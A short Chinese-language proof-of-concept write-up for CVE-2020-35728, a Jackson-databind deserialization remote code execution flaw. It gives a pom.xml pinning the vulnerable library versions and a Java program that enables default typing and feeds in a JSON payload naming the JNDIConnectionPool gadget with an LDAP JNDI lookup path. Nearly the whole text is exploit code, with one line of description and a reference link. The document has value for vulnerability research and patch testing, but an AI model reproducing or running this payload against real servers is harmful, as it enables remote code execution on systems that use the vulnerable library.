Jackson-databind RCE（CVE-2020-35728）

# Jackson-databind RCE（CVE-2020-35728）

由于com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool组件库存在不安全的反序列化，导致攻击者可以利用漏洞实现远程代码执行。

**pom.xml：**

“`xml

4.0.0

com.jacksonTest
jacksonTest
1.0-SNAPSHOT


com.fasterxml.jackson.core
jackson-databind
2.9.10.7



org.glassfish.web
jakarta.servlet.jsp.jstl
2.0.0

org.slf4j
slf4j-nop
1.7.2



javax.transaction
jta
1.1

“`

**poc.java**

“`java
import com.fasterxml.jackson.databind.ObjectMapper;

public class POC {
public static void main(String[] args) throws Exception {
String payload = “[\”com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\”,{\”jndiPath\”:\”ldap://127.0.0.1:1088/Exploit\”}]”;
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object obj = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(obj);
}
}
“`


ref:
https://github.com/Al1ex/CVE-2020-35728